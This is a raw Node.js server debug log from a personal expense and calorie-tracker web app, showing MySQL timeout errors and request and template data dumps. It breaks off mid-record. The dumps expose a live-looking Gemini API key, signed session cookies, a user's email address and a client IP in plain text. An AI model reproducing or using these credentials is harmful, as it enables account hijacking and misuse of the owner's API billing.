Error: delete from `sessions` where expired < CAST('2025-12-17 00:16:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 00:16:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 00:30:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 00:30:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 00:45:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 00:45:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 01:07:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 01:07:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 03:22:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 03:22:52' as DATETIME)"
}
2025-12-17T03:39:39.891Z server-connect:router Serving templateView /
2025-12-17T03:39:39.892Z server-connect:app Executing action step identify
2025-12-17T03:39:39.893Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:39.893Z server-connect:output identity: 1
2025-12-17T03:39:39.893Z server-connect:app Executing action step restrict
2025-12-17T03:39:39.893Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:39:39.895Z server-connect:output restrict: undefined
2025-12-17T03:39:39.895Z server-connect:app Executing action step restrict
2025-12-17T03:39:39.895Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:39:39.896Z server-connect:output restrict: undefined
2025-12-17T03:39:39.896Z server-connect:router Render template layouts/main
2025-12-17T03:39:39.896Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-17T03:39:43.354Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T03:39:43.355Z server-connect:app Executing action step identify
2025-12-17T03:39:43.355Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:43.355Z server-connect:output identity: 1
2025-12-17T03:39:43.355Z server-connect:app Executing action step restrict
2025-12-17T03:39:43.355Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:39:43.357Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T03:39:43.358Z server-connect:output restrict: undefined
2025-12-17T03:39:43.358Z server-connect:app Executing action step select
2025-12-17T03:39:43.358Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T03:39:43.358Z server-connect:app Executing action step identify
2025-12-17T03:39:43.358Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:43.358Z server-connect:output identity: 1
2025-12-17T03:39:43.358Z server-connect:app Executing action step restrict
2025-12-17T03:39:43.359Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:39:43.362Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T03:39:43.363Z server-connect:output restrict: undefined
2025-12-17T03:39:43.363Z server-connect:app Executing action step single
2025-12-17T03:39:43.363Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T03:39:43.365Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T03:39:48.445Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T03:39:48.446Z server-connect:app Executing action step identify
2025-12-17T03:39:48.446Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:48.446Z server-connect:output identity: 1
2025-12-17T03:39:48.446Z server-connect:app Executing action step restrict
2025-12-17T03:39:48.446Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:39:48.447Z server-connect:output restrict: undefined
2025-12-17T03:39:48.447Z server-connect:router Render template calorie-tracker
2025-12-17T03:39:48.447Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
